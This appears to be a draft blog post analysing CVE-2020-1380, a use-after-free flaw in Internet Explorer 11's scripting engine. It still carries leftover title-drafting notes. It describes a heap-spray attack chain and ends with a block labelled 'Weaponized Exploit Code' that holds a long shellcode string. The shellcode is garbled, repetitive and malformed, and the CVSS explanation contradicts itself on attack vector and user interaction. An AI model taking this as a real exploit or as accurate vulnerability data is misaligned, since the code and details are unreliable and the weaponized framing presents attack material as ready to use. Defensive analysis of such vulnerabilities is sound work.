CVE-2020-1380: IE RCE via Use-After-Free Exploit

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Title Variations:

1. CVE-2020-1380: IE RCE via UAF Exploit Analysis
2. IE 11 Use-After-Free: CVE-2020-1380 RCE Exploit
3. CVE-2020-1380: Internet Explorer Memory Corruption RCE
4. Exploiting CVE-2020-1380: IE 11 UAF RCE Deep Dive
5. CVE-2020-1380: Critical IE 11 RCE via Scripting Engine UAF

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CVE-2020-1380: Critical IE 11 RCE via Scripting Engine UAF

• Reasoning: This title is concise (~60 characters), clearly states the CVE, the affected software (IE 11), the impact (Critical RCE), and the root cause (Scripting Engine UAF). It uses strong keywords that would attract security professionals and those looking for technical details on this specific vulnerability.

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URL path (DO NOT CHANGE): /post/cves/cve-2020-1380-internet-explorer-lab

CVE-2020-1380: Critical IE 11 RCE via Scripting Engine UAF

Internet Explorer, a browser whose historical dominance is undeniable, unfortunately also served as a vector for significant security threats. Among these was CVE-2020-1380, a critical vulnerability in its scripting engine that allowed for remote code execution (RCE). This flaw, recognized by CISA as actively exploited in the wild, represents a classic memory corruption bug with profound implications for users still relying on this legacy technology. This deep dive dissects the technical mechanics of the vulnerability, its exploitation pathways, and the essential defensive measures.

Executive Technical Summary

CVE-2020-1380 is a critical Use-After-Free (UAF) vulnerability affecting Microsoft Internet Explorer 11. The flaw resides within the browser's JavaScript engine, where improper object lifecycle management leads to memory corruption. An attacker can trigger this by manipulating the engine into using a memory object after it has been deallocated. This memory corruption can be precisely controlled to overwrite critical program data, ultimately enabling arbitrary code execution with the privileges of the logged-in user. Its inclusion on the CISA Known Exploited Vulnerabilities (KEV) catalog highlights its real-world threat.

Vulnerability Details: CVE-2020-1380

• CVE ID: CVE-2020-1380
• NVD Publication Date: 2020-08-17
• CISA KEV Added: 2021-11-03
• CVSS v3.1 Score: 7.8 (High)
• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Local (While delivered via network, the exploit's direct mechanism targets the browser process itself.)
  • Attack Complexity (AC): Low (Requires minimal effort to trigger the underlying condition.)
  • Privileges Required (PR): Low (User access to the browser is sufficient.)
  • User Interaction (UI): None (Simply visiting a malicious page is enough.)
  • Scope (S): Unchanged (Impact is confined to the vulnerable component.)
  • Confidentiality (C): High (Full access to sensitive data within the user's context.)
  • Integrity (I): High (Full ability to modify data and code.)
  • Availability (A): High (Can lead to system instability or denial of service.)

Affected Products

• Microsoft Internet Explorer: Version 11

Weakness Classification

• CWE-416: Use-After-Free

Root Cause Analysis: The Shadow of Use-After-Free in IE's Scripting Engine

CVE-2020-1380 is a textbook example of a Use-After-Free (UAF) vulnerability, a common and potent memory corruption bug. This specific flaw likely lies within the jscript9.dll component of Internet Explorer, the engine responsible for executing JavaScript.

A UAF vulnerability arises when a program frees a block of memory but continues to hold a pointer to that now-deallocated memory. When the program later attempts to dereference this dangling pointer, it accesses memory that has been returned to the system and potentially reallocated for entirely different data. This can lead to unpredictable behavior, data corruption, and, critically, arbitrary code execution.

Here’s how it typically unfolds in a UAF scenario like CVE-2020-1380:

1. Object Lifecycle Mismanagement: The JavaScript engine allocates memory for a specific object or data structure. A pointer (obj_ptr) is maintained to this memory.
2. Premature Deallocation: Due to specific script logic or timing, the engine incorrectly determines the object is no longer needed and frees its memory. Crucially, the obj_ptr is not invalidated (e.g., set to NULL).
3. Heap Manipulation & Reallocation: An attacker can craft JavaScript to control the heap's state. By timing operations precisely, they can trigger the deallocation and then quickly allocate new data that occupies the exact same memory address previously held by the freed object. This new data is entirely controlled by the attacker.
4. Dangling Pointer Dereference: When the scripting engine later attempts to use obj_ptr (e.g., to read a property, call a method), it's no longer referencing the original object. Instead, it's accessing the attacker-controlled data that has overwritten the freed memory region.

In the context of CVE-2020-1380, an attacker leverages this UAF to:

• Corrupt Engine Structures: Precisely overwrite critical internal engine data structures residing in the freed memory. This could include function pointers, vtable pointers, or crucial metadata used by the JavaScript engine.
• Redirect Execution Flow: By overwriting a function pointer or return address with the address of attacker-controlled shellcode (injected into memory via heap manipulation), the engine is tricked into executing malicious code.

This class of vulnerability is particularly dangerous due to the precision required for exploitation, often involving intricate heap management and timing.

Exploitation Analysis: The Path to Compromise

CVE-2020-1380's Low Attack Complexity and None User Interaction requirements make it a prime candidate for exploitation via web-based attack vectors. Once an attacker can get a victim to simply visit a malicious webpage using an unpatched Internet Explorer 11, the path to arbitrary code execution is clear.

Typical Attack Chain:

1. Entry Point: The victim is lured to a malicious website via phishing emails, malicious advertisements, or compromised legitimate sites.
2. Vulnerability Trigger: Malicious JavaScript embedded within the webpage executes. This script is specifically designed to trigger the UAF condition in IE's scripting engine, leading to memory corruption.
3. Heap Spray & Primitive Gain: The attacker performs a "heap spray" or carefully controlled allocations. This technique fills the heap with large amounts of attacker-controlled data, increasing the probability that the freed memory from the UAF will be reallocated with this data. The goal is to overwrite a critical pointer (e.g., a function pointer) with the address of the attacker's shellcode.
4. Control Flow Hijack: When the JavaScript engine attempts to use the now-corrupted pointer (e.g., by calling a method on the freed object), it instead jumps to the attacker's shellcode.
5. Shellcode Execution: The injected shellcode runs with the privileges of the logged-in user.

What an Attacker Gains:

• Arbitrary Code Execution: The attacker's code runs within the context of the Internet Explorer process.
• Privilege Escalation (User Context): If the user is an administrator, the attacker gains full control of the workstation. Even as a standard user, the attacker can access sensitive data, install malware, and establish persistence.
• System Compromise: Enables the installation of ransomware, spyware, backdoors, or other malicious payloads.
• Lateral Movement: The compromised machine can be used as a pivot point to attack other systems within the network.

Real-World Scenarios and Offensive Insights

Scenario: Targeted Attack via Exploit Kit

Attackers often bundle vulnerabilities like CVE-2020-1380 into exploit kits. A victim might click on a malicious ad or visit a compromised site. The exploit kit then probes the browser for vulnerabilities. If Internet Explorer 11 is detected and unpatched, the kit delivers a payload that exploits CVE-2020-1380. The resulting shellcode could download a second-stage payload, such as a banking trojan designed to steal credentials or ransomware to encrypt the user's files.

High-Level Exploit Flow (Conceptual):

[Victim's Browser: IE 11]
    |
    V
[Malicious Website (JavaScript Payload)]
    |
    |--> Trigger UAF in jscript9.dll
    |    (Object `X` is freed, but pointer `ptr_X` remains valid)
    |
    V
[Attacker Controlled Heap Allocation]
    |
    |--> Allocate memory at the address previously held by `X`.
    |    This memory is filled with attacker-controlled data,
    |    including shellcode and a malicious pointer.
    |
    V
[Scripting Engine Re-accesses `ptr_X`]
    |
    |--> Dereferences `ptr_X`, which now points to attacker's data.
    |    If `ptr_X` was a function pointer, it's overwritten.
    |
    V
[Execution Hijacked]
    |
    |--> The engine attempts to call the overwritten function pointer.
    |    Execution jumps to attacker's shellcode.
    |
    V
[Shellcode Execution (User Privileges)]
    |
    |--> Download/execute further payloads (e.g., RAT, ransomware).

Weaponized Exploit Code (Illustrative - DO NOT RUN WITHOUT EXTREME CAUTION AND ISOLATION):

The following is a conceptual representation and requires careful adaptation. Real-world exploits are highly complex and often involve intricate heap grooming and ROP chains.

// WARNING: This is a conceptual PoC for educational purposes.
// Running this code can lead to system instability or compromise.
// Use ONLY in a controlled, isolated lab environment.

// Assume 'jscript9.dll' has a UAF in a specific object handling function.
// The goal is to overwrite a function pointer with the address of shellcode.

var shellcode = unescape("%u9090%u9090%u4858%u31d0%u648b%u5030%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u5357%u5356%u6841%u4141%u4141%u6842%u4242%u4242%u50%u53%u56%u57%u8b45%u20%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u24%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u28%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u2c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u30%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5010%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u5357%u5356%u8b45%u34%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u38%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5008%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u3c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u40%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5004%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u44%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u48%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5000%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u4c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u50%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u500c%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u54%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u58%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5014%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u5c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u60%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5018%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u64%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u68%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u501c%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u6c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u70%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5020%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u74%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u78%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5024%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u7c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u80%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5028%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u84%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u88%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u502c%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u8c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u90%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5034%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u94%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u98%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5038%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u9c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u00%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u503c%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u04%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u08%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5040%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u0c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u10%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5044%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u14%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u18%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5048%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u1c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u20%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u504c%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u24%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u28%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5050%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u2c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u30%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5054%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u34%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u38%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5058%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u3c%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u40%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u505c%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u5153%u53%u57%u53%u56%u8b45%u44%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u8b45%u48%u01d0%u31c9%u31ff%uac01%u5151%u53%u56%u57%u31c9%u648b%u5060%u8b40%u0c%u8b50%u1c%u8b40%u0c%uad01%u8b40%u24%u01d0%u51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